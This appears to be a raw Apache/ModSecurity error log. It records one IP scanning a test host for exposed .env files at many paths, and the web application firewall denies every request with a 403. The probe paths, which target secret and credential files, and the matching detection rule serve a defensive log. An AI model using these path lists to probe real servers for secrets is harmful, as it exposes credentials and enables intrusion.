[Thu Feb 26 01:03:14.370294 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4QAAAAE&quot;]
[Thu Feb 26 01:03:14.370459 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4QAAAAE&quot;]
[Thu Feb 26 01:03:14.394254 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt2/countries/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4gAAAAE&quot;]
[Thu Feb 26 01:03:14.394500 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4gAAAAE&quot;]
[Thu Feb 26 01:03:14.394666 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4gAAAAE&quot;]
[Thu Feb 26 01:03:14.431137 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEAAAAAA&quot;]
[Thu Feb 26 01:03:14.431388 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEAAAAAA&quot;]
[Thu Feb 26 01:03:14.431574 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEAAAAAA&quot;]
[Thu Feb 26 01:03:14.433838 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt8/library-backend-gql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4wAAAAE&quot;]
[Thu Feb 26 01:03:14.434053 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4wAAAAE&quot;]
[Thu Feb 26 01:03:14.434218 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh4wAAAAE&quot;]
[Thu Feb 26 01:03:14.458705 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEQAAAAA&quot;]
[Thu Feb 26 01:03:14.458926 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEQAAAAA&quot;]
[Thu Feb 26 01:03:14.459087 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEQAAAAA&quot;]
[Thu Feb 26 01:03:14.463644 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pub/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5AAAAAE&quot;]
[Thu Feb 26 01:03:14.463871 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5AAAAAE&quot;]
[Thu Feb 26 01:03:14.464016 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5AAAAAE&quot;]
[Thu Feb 26 01:03:14.505690 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEgAAAAA&quot;]
[Thu Feb 26 01:03:14.505907 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEgAAAAA&quot;]
[Thu Feb 26 01:03:14.506070 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEgAAAAA&quot;]
[Thu Feb 26 01:03:14.512530 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5gAAAAE&quot;]
[Thu Feb 26 01:03:14.512760 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5gAAAAE&quot;]
[Thu Feb 26 01:03:14.512913 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5gAAAAE&quot;]
[Thu Feb 26 01:03:14.532308 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEwAAAAA&quot;]
[Thu Feb 26 01:03:14.532539 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEwAAAAA&quot;]
[Thu Feb 26 01:03:14.532687 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizEwAAAAA&quot;]
[Thu Feb 26 01:03:14.561433 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5wAAAAE&quot;]
[Thu Feb 26 01:03:14.561648 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5wAAAAE&quot;]
[Thu Feb 26 01:03:14.561799 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh5wAAAAE&quot;]
[Thu Feb 26 01:03:14.573930 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFAAAAAA&quot;]
[Thu Feb 26 01:03:14.574149 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFAAAAAA&quot;]
[Thu Feb 26 01:03:14.574287 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFAAAAAA&quot;]
[Thu Feb 26 01:03:14.604539 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFQAAAAA&quot;]
